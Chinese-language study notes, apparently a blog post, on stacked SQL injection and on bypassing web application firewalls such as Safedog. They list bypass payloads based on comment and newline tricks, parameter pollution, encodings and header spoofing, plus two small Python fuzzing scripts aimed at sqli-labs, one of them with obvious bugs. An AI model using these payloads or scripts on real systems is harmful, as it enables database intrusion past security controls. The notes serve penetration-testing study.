十八:SQL注入之堆叠及绕WAF

堆叠查询注入 (双查询注入)
stacked injections(堆叠注入)从名词的含义就可以看到是一堆的SQL语句一起执行,而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句加;表示语句结束。这样                              子我们就想到了可以不可以多句一起使用,这个叫做stacked injection
只有mysql可以堆叠注入,重添加一个管理员账户  具体添加将新增加的用户加入管理员组
   **phpstudy + safedog安装找不到服务问题**
市面上常见的waf产品列表 - wafw00f
  阿里云盾,安全狗,阿里云盾
  遇到WAF先手测,工具一扫就会封IP。
  测试绕过就是研究哪方面没有进行过滤
  提交方式绕过WAF,前提支持各种方式的接受  
  (等价函数,特殊函数):既需要绕过匹配规则,还要不干扰语句的运行结果。
  反序列化的格式进行绕过,注释符混用
  %0a换行  %23注释#
部分bypass sqlinject payload
特殊符号,换行绕狗子
id = 1 union %23a%0A select 1,2,3 #
			匹配到union然后注释,安全认为句子结束,  union a select 狗子不会拦截
			union #a                         写#屏蔽a,换行让union select执行
			select 1,2,3 #
      注释符混用,参数污染绕狗子
			参数污染只接受后面的,?id=1/**&id=-1 unio select 1,2,3 #*/              /***/ SQL里面的注释符
				1/**&id=-1 unio select 1,2,3 #*/        狗子接收的
				-1 unio select 1,2,3 #*/       执行的语句  (内联注释)
				狗子匹配第一条,其中的注释符号起到注释作用,正常情况没法执行,安全狗直接忽略,
				参数污染导致的真实数据是执行的语句,能够正常执行SQL语句
fuzz模糊测试,类似爆破密码。某个点生成字典,不断测试。写好脚本和字典批量化进行测试
		import request
		import time
		url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
		for sqlin in open('uniobselect.txt')
			urls = url + sqlin
			result = requests.get(urls).text
			if (result.find('safedog')==-1):
				print(sqlin)
			time.sleep(-1)
堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html
应用层
	大小写/关键字替换
	id=1 UnIoN/**/SeLeCT 1,user()
	hex() bin() 等价于ascii
	sleep()等价于benchmark()
	Mid()substring() 等价于 substr()
	@@user() 等价于User()
	@@version等价于version()
	各种编码:
		大小写,URL,hex,%0A等
	注释使用:
		// --  --+ # /**/ + :%00 /!**/等
	再次循环
		union==uunionnion
	等价替换:
		user()=@@user() and=& or=| ascii=hex等
	参数污染:
		?id=1&id=2&id=3
	编码及解码:
		s->%73->%25%37%33
	更改请求提交方式:
		GET,POST,COOKIE
		POST->multipart/from-data
	中间件参数污染
数据库特性:
1.mysql技巧
		(1)mysql注释有三种,#,/*...*/,-- ... (--后加空格)
		 (2)空格符:0x9a,0x0a-0x0d,0x20,0xa0
		 (3)特殊符号 0a%换行符
			可结合注释符使用 %23%0a,%2d%2d%0a
		 (4)内联注释
			/*! union12345select*/ 1,user()   //数字范围1000-50540
		  (5)mysql黑语法
			 select {x username} from {x11 test.admin};
2.sqlsever
		 (1)用来注释掉后查询的其余部分
			/*   c语言风格注释
			-- sql注释
			;00%空字节
		  (2)空白符:[0x01-0x20]
		 (3)特殊符号:%3a  冒号
			id = 1 union:select 1,2 from:admin
		(4)函数变型:如db_name [空白字符]()
3.oracle技巧
		(1) 注释符:--,/**/
		(2) 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
		4.配合fuzz
		select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name() [位置四] from [位置五] admin
逻辑层
			(1)云waf防护,一般我们会尝试查找真实站点的真实ip,从而绕过CDN防护
			(2)当提交,GET,POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试bypass,
			(3)http和https同时开放服务,没有做http到https的强制跳转,导致https有waf防护,http没有防护,直接访问http站点绕过防护
			(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害输入,从而导致bypass
				比如:id=1%00and 1=2 union select 1,2,column_name from imformation_schema.columns
白名单
方式一:ip白名单
			从网络层获取来的ip,是无法伪造的,如果获取客户端的ip,这样就可能存在伪造ip绕过的情况。
			测试方法:
				修改http的header来bypass waf
				x-forwarded-for
				x-remote-ip
				x-originating-ip
				x-remote-addr
				x-real-ip
方式二:静态资源
				特定的后缀资源静态请求,常见的静态文件,(.js  .jpg  .swf  .css 等),类似白名单机制,
				waf为了检测效率,不去检测这样一些静态文件后缀的请求。
方式三:url白名单
				为了防止误拦截,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在的白名单的字符,就作为白名单不检测。
方式四:爬虫白名单
				部分waf对爬虫结果会忽略,waf如果识别出了搜索引擎来爬虫,waf就会放行
					import json
					import request
					url = 'http://1.1.1.1:8080'
					head={
						'user-agent':'mozilla/5.0(compatible;badiduspider-render/2.0;)'
					}
					for data in open("php.txt"):
						data = data.replace('\n','')
						urls=url+data
						code=requests.get(urls,headers=head).status_code
						print(urls+'|'+str(code))十八:SQL注入之堆叠及绕WAF的更多相关文章
- SQL注入之堆叠注入(堆查询注入)
		Stached injection -- 堆叠注入 0x00 堆叠注入的定义  Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ... 
- sql注入之堆叠注入及waf绕过注入
		#堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ... 
- sql注入100种姿势过waf(二):过安全狗
		仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 先去安全狗网站下载最新的安全狗版本 从官网下载 windwos apache版 v4.0.2395 最新版 数据库是mysql ... 
- sql注入100种姿势过waf(一):waf 了解
		仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页 首先WAF(Web Application Firewall),俗称Web应用防火墙,主要的目的实际上是用来过滤不正常或者恶意请求包, ... 
- SQL注入原理及代码分析(二)
		前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ... 
- SQL注入绕过waf的一万种姿势
		绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ... 
- SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)
		0x1 堆叠注入讲解 (1)前言 国内有的称为堆查询注入,也有称之为堆叠注入.个人认为称之为堆叠注入更为准确.堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据 ... 
- SQL注入之Sqli-labs系列第四十七关,第四十八关,第四十九关(ORDER BY注入)
		0x1 源码区别点 将id变为字符型:$sql = "SELECT * FROM users ORDER BY '$id'"; 0x2实例测试 (1)and rand相结合的方式 ... 
- SQL注入之Sqli-labs系列第十八关(基于错误的用户代理,头部POST注入)
		开始挑战第十八关(Header Injection - Uagent field - Error based) 常见的HTTP注入点产生位置为[Referer].[X-Forwarded-For].[ ... 
随机推荐
- nginx学习之——虚拟主机配置
			例子1: 基于域名的虚拟主机 server { listen 80; #监听端口 server_name a.com; #监听域名 location / { root /var/www/a.com; ... 
- STL——容器(Set & multiset)编译器提供的16种构造(挖个坑)
			Set & multiset 在vs2019编译器中提供了16种构造方法 1.默认的无参构造 2.比较容器内容,key_comp()函数返回一个比较key的函数. 3.使用迭代器的区间拷贝,拷 ... 
- 一个java文件被执行的历程
			学习java以来,都是以语法,类库入手,最基本的也是最基础的java编译过程往往被我遗忘,先解释一下学习java第一课时,都听到过的一句话,"java是半解释语言".什么是半解释语 ... 
- mybatis-plus逻辑删除
			MP(mybatis plus)已经大大简化了我们好多的开发操作,基本的增删改查都有了,包括代码生成等等,今天想说的是它的逻辑删除功能.我们都在数据库设计时候经常会有is字段,表示是否删除,为了留下员 ... 
- 任务队列--nodejs
			很多项目可能都会涉及到任务队列来进行任务处理和维护的,那么需要使用到redis或者第三方库(使用redis)来实现任务队列,甚至需要控制并发量,但是对于saas部署来说使用redis可能会比较麻烦和成 ... 
- Windows安装VsCode 和Nodejs Vue
			一.安装VSCode 1.在官网下载并安装VSCode https://code.visualstudio.com/Download 注意:解压到非系统盘(节约系统盘空间,也方便后面使用) 文件夹最好 ... 
- 编译nginx增加fair模块
			安装必要的软件 ubuntu里是 apt install wget gcc make zlib1g-dev libpcre3-dev 去官网下载最新稳定版的nginx源码 git clone 源码 g ... 
- 基于docker,consul,consul-template, registrator, nginx服务注册发现集群
			介绍 该工程主要实现服务的自动注册发现,从而达到提高运维效率,做到服务的自动发现和动态扩展. 服务注册发现 服务启动后自动被发现 动态变更负载均衡 自动伸缩 工具 1.Registrator 这是 ... 
- Java 从 Redis中取出的Json字符串 带斜杠的问题解决方案
			Java 从 Redis中取出的Json字符串 带斜杠的问题: { "code": 200, "message": "成功", " ... 
- 什么是Cassandra数据库
			在本文中,我们将介绍Cassandra名字的含义.Cassandra的发展简史.Cassandra这项技术的特点及优势,以及对于这项技术的未来展望. 本文将用浅显易懂的方式,帮助您将对Cassandr ... 
